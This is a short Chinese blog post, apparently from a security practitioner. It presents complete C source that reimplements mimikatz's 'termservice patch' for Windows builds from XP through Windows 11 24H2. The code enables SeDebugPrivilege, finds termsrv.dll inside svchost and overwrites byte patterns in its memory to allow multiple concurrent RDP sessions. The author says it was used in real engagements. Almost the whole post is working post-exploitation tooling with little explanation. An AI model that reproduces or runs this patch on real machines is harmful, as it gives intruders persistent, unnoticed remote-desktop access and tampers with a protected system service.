mimikatz termservice patch

前言:实战中碰到了,这边记录下mimikatz termservice patch笔记,支持W11_24H2的机器

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <psapi.h>
typedef struct _MEMORY_SEARCH {
MEMORY_BASIC_INFORMATION mbi;
SIZE_T size;
} MEMORY_SEARCH, *PMEMORY_SEARCH;
typedef struct _PATCH_PATTERN {
DWORD Length;
BYTE *Pattern;
} PATCH_PATTERN, *PPATCH_PATTERN;
typedef struct _PATCH_OFFSETS {
LONG off0;
} PATCH_OFFSETS, *PPATCH_OFFSETS;
typedef struct _PATCH_GENERIC {
DWORD MinBuildNumber;
PATCH_PATTERN Search;
PATCH_PATTERN Patch;
PATCH_OFFSETS Offsets;
} PATCH_GENERIC, *PPATCH_GENERIC;
typedef struct _dll_info
{
int pid;
byte * dll_addr;
int dll_size;
} dll_info;
BYTE PTRN_WN60_Query__CDefPolicy[] = {0x8b, 0x81, 0x38, 0x06, 0x00, 0x00, 0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x75};
BYTE PTRN_WN6x_Query__CDefPolicy[] = {0x39, 0x87, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84};
BYTE PTRN_WN81_Query__CDefPolicy[] = {0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84};
BYTE PTRN_W10_1803_Query__CDefPolicy[] = {0x8b, 0x99, 0x3c, 0x06, 0x00, 0x00, 0x8b, 0xb9, 0x38, 0x06, 0x00, 0x00, 0x3b, 0xdf, 0x0f, 0x84};
BYTE PTRN_W10_1809_Query__CDefPolicy[] = {0x8b, 0x81, 0x38, 0x06, 0x00, 0x00, 0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84};
BYTE PTRN_W11_24H2[] = {0x8B, 0x81, 0x38, 0x06, 0x00, 0x00, 0x39, 0x81, 0x3C, 0x06, 0x00, 0x00, 0x75};
BYTE PATC_WN60_Query__CDefPolicy[] = {0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0xeb};
BYTE PATC_WN6x_Query__CDefPolicy[] = {0xc7, 0x87, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90};
BYTE PATC_WN81_Query__CDefPolicy[] = {0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90};
BYTE PATC_W10_1803_Query__CDefPolicy[] = {0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0x90, 0x90, 0x90, 0xe9};
BYTE PATC_W10_1809_Query__CDefPolicy[] = {0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
BYTE PATC_W11_23H2[] = {0xB8, 0x00, 0x01, 0x00, 0x00, 0x89, 0x81, 0x38, 0x06, 0x00, 0x00, 0x90};
BYTE PATC_W11_24H2[] = {0xB8, 0x00, 0x01, 0x00, 0x00, 0x89, 0x81, 0x38, 0x06, 0x00, 0x00, 0x90, 0xEB};
BYTE PTRN_WIN5_TestLicence[] = {0x83, 0xf8, 0x02, 0x7f};
BYTE PATC_WIN5_TestLicence[] = {0x90, 0x90};
PATCH_GENERIC TermSrvMultiRdpReferences[] = {
{2600/*Win XP*/, {sizeof(PTRN_WIN5_TestLicence),PTRN_WIN5_TestLicence},{sizeof(PATC_WIN5_TestLicence), PATC_WIN5_TestLicence},{3}},
{6000/*VISTA*/, {sizeof(PTRN_WN60_Query__CDefPolicy), PTRN_WN60_Query__CDefPolicy}, {sizeof(PATC_WN60_Query__CDefPolicy), PATC_WN60_Query__CDefPolicy}, {0}},
{7600/*Win_7*/, {sizeof(PTRN_WN6x_Query__CDefPolicy), PTRN_WN6x_Query__CDefPolicy}, {sizeof(PATC_WN6x_Query__CDefPolicy), PATC_WN6x_Query__CDefPolicy}, {0}},
{9600/*Win8*/, {sizeof(PTRN_WN81_Query__CDefPolicy), PTRN_WN81_Query__CDefPolicy}, {sizeof(PATC_WN81_Query__CDefPolicy), PATC_WN81_Query__CDefPolicy}, {0}},
{17134/*Win_10_1803*/, {sizeof(PTRN_W10_1803_Query__CDefPolicy), PTRN_W10_1803_Query__CDefPolicy}, {sizeof(PATC_W10_1803_Query__CDefPolicy), PATC_W10_1803_Query__CDefPolicy}, {0}},
{17763/*Win_10_1803*/, {sizeof(PTRN_W10_1809_Query__CDefPolicy), PTRN_W10_1809_Query__CDefPolicy}, {sizeof(PATC_W10_1809_Query__CDefPolicy), PATC_W10_1809_Query__CDefPolicy}, {0}},
{22631/*Win_11_23H2*/, {sizeof(PTRN_W11_24H2), PTRN_W11_24H2}, {sizeof(PATC_W11_23H2), PATC_W11_23H2}, {0}},
{26100/*Win_11_24H2*/, {sizeof(PTRN_W11_24H2), PTRN_W11_24H2}, {sizeof(PATC_W11_24H2), PATC_W11_24H2}, {0}},
};
BOOL PatchMemory(HANDLE hProcess, LPVOID lpBaseAddress, SIZE_T region_size, BYTE *pattern, SIZE_T patternSize, BYTE *patch, SIZE_T patchSize, LONG offset) {
BYTE *buffer = (BYTE *)malloc(region_size);
SIZE_T bytesRead;
BOOL result = FALSE;
// print pattern to search for
printf("[*] Pattern to search for: ");
for (int i = 0; i < patternSize; i++)
{
printf("%02x ", pattern[i]);
}
printf("\r\n");
if (ReadProcessMemory(hProcess, lpBaseAddress, buffer, region_size, &bytesRead) && bytesRead == region_size) {
printf("[+] Read %zu bytes from process\n", bytesRead);
// write buffer into file C:\temp\buffer.dmp, just for debugging/Checking new offsets
/*
FILE *f = fopen("C:\\temp\\buffer.dmp", "wb");
if (f) {
fwrite(buffer, 1, bytesRead, f);
fclose(f);
printf("Wrote process memory to C:\\temp\\buffer.dmp\n");
} else {
printf("Failed to write process memory to C:\\temp\\buffer.dmp\n");
}
*/
for (SIZE_T i = 0; i <= region_size - patternSize; i++) {
if (memcmp(buffer + i, pattern, patternSize) == 0) {
printf("[+] Found pattern in process memory at offset %zu\n", i);
DWORD oldProtect;
if (VirtualProtectEx(hProcess, (LPVOID)((BYTE *)lpBaseAddress + i + offset), patchSize, PAGE_EXECUTE_READWRITE, &oldProtect)) {
printf("[+] Patched memory permissions\n");
SIZE_T bytesWritten;
if (WriteProcessMemory(hProcess, (LPVOID)((BYTE *)lpBaseAddress + i + offset), patch, patchSize, &bytesWritten) && bytesWritten == patchSize) {
printf("[+] Patched process memory\n");
result = TRUE;
}
VirtualProtectEx(hProcess, (LPVOID)((BYTE *)lpBaseAddress + i + offset), patchSize, oldProtect, &oldProtect);
printf("[+] Restored memory permissions\n");
}
break; // Exit the loop after patching
}
}
}
free(buffer);
return result;
}
PATCH_GENERIC *GetPatchGenericFromBuild(PATCH_GENERIC *generics, SIZE_T cbGenerics, DWORD buildNumber) {
PATCH_GENERIC *bestMatch = NULL;
for (SIZE_T i = 0; i < cbGenerics; i++) {
if (generics[i].MinBuildNumber <= buildNumber) {
if (bestMatch == NULL || generics[i].MinBuildNumber > bestMatch->MinBuildNumber) {
bestMatch = &generics[i];
}
}
}
return bestMatch;
}
dll_info * get_dll_info(char * dll_name, BOOL verbose)
{
dll_info * dll;
dll = malloc(sizeof(dll_info));
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if( hProcessSnap == INVALID_HANDLE_VALUE )
{
printf("[-] error CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ...)\n");
return;
}
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
if(! Process32First(hProcessSnap, &pe32) )
{
printf("[-] error Process32First()\n");
return;
}
do
{
if(! strcmp("svchost.exe", pe32.szExeFile) )
{
if(verbose)
printf("%s [%d]\n", pe32.szExeFile, pe32.th32ProcessID);
HANDLE hModuleSnap = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, pe32.th32ProcessID );
if( hModuleSnap == INVALID_HANDLE_VALUE )
{
printf("[-] error CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, %d)\n", pe32.th32ProcessID);
continue;
}
MODULEENTRY32 me32;
me32.dwSize = sizeof(MODULEENTRY32);
if(! Module32First(hModuleSnap, &me32) )
{
printf("[-] error Module32First()\n");
continue;
}
do
{
if(verbose)
printf(" [0x%08x]\t%s (%d B)\n", me32.modBaseAddr, me32.szModule, me32.modBaseSize);
if(! strcmp( dll_name, me32.szModule ) )
{
dll->pid = pe32.th32ProcessID;
dll->dll_addr = me32.modBaseAddr;
dll->dll_size = me32.modBaseSize;
CloseHandle(hModuleSnap);
return dll;
}
}
while( Module32Next(hModuleSnap, &me32) );
CloseHandle(hModuleSnap);
}
}
while( Process32Next(hProcessSnap, &pe32) );
return 0;
}
typedef LONG (WINAPI *RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
int GetWindowsBuildNumber() {
HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
if (hMod) {
RtlGetVersionPtr pRtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
if (pRtlGetVersion) {
RTL_OSVERSIONINFOW rovi = {0};
rovi.dwOSVersionInfoSize = sizeof(rovi);
if (pRtlGetVersion(&rovi) == 0) {
return rovi.dwBuildNumber;
}
}
}
return -1; // Return -1 if retrieval fails
}
BOOL PatchTermService(PATCH_GENERIC *generics, SIZE_T cbGenerics, PCWSTR moduleName) {
BOOL result = FALSE;
DWORD buildNumber = GetWindowsBuildNumber(); // Example build number, replace with actual build number retrieval
printf("[*] Windows build number: %lu\n", buildNumber);
PATCH_GENERIC *currentReferences = GetPatchGenericFromBuild(generics, cbGenerics, buildNumber);
if (currentReferences) {
printf("[*] Found patch references for build number %lu\n", buildNumber);
SERVICE_STATUS_PROCESS serviceStatusProcess;
dll_info * termsrv = get_dll_info( "termsrv.dll", FALSE );
DWORD processId = termsrv->pid;
printf("[+] Found TermService with PID %lu\n", processId);
HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, processId);
if (hProcess) {
printf("[+] Opened process with PID %lu\n", processId);
LPVOID baseAddress = termsrv->dll_addr;
SIZE_T imageSize = termsrv->dll_size;
printf("[*] Module base address: %p, size: %zu\n", baseAddress, imageSize);
MEMORY_BASIC_INFORMATION mbi;
for (LPBYTE address = (LPBYTE)baseAddress; address < (LPBYTE)baseAddress + imageSize; address += mbi.RegionSize) {
if (VirtualQueryEx(hProcess, address, &mbi, sizeof(mbi)) == sizeof(mbi)) {
if (mbi.State == MEM_COMMIT && (mbi.Protect == PAGE_EXECUTE_READ || mbi.Protect == PAGE_EXECUTE_READWRITE)) {
printf("[*] Checking memory region at address %p, size: %zu\n", address, mbi.RegionSize);
if (PatchMemory(hProcess, address,mbi.RegionSize, currentReferences->Search.Pattern, currentReferences->Search.Length, currentReferences->Patch.Pattern, currentReferences->Patch.Length, currentReferences->Offsets.off0)) {
printf("[+] \"%ls\" service patched at address %p\n", moduleName, address);
result = TRUE;
break;
}
}
} else {
printf("[-] VirtualQueryEx failed at address %p with error %lu\n", address, GetLastError());
}
}
CloseHandle(hProcess);
} else {
printf("OpenProcess failed with error %lu\n", GetLastError());
}
} else {
printf("No patch references found for build number %lu\n", buildNumber);
}
return result;
}
void get_privileges()
{
HANDLE hProcessToken;
LUID luid;
TOKEN_PRIVILEGES priv;
OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hProcessToken);
LookupPrivilegeValue(NULL, "SeDebugPrivilege", &luid);
priv.PrivilegeCount = 1;
priv.Privileges[0].Luid = luid;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges( hProcessToken, FALSE, &priv, sizeof(TOKEN_PRIVILEGES), 0, 0 );
}
// main function
int main() {
get_privileges();
if (!PatchTermService(TermSrvMultiRdpReferences, ARRAYSIZE(TermSrvMultiRdpReferences), L"termsrv.dll")) {
printf("[-] Failed to patch service\n");
}
return 0;
}
posted @   zpchcbd  阅读(27)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
历史上的今天:
2020-02-09 ICMP协议
2020-02-09 实现:ARP探测存活主机
2020-02-09 学习:ARP协议/数据包分析
点击右上角即可分享
微信分享提示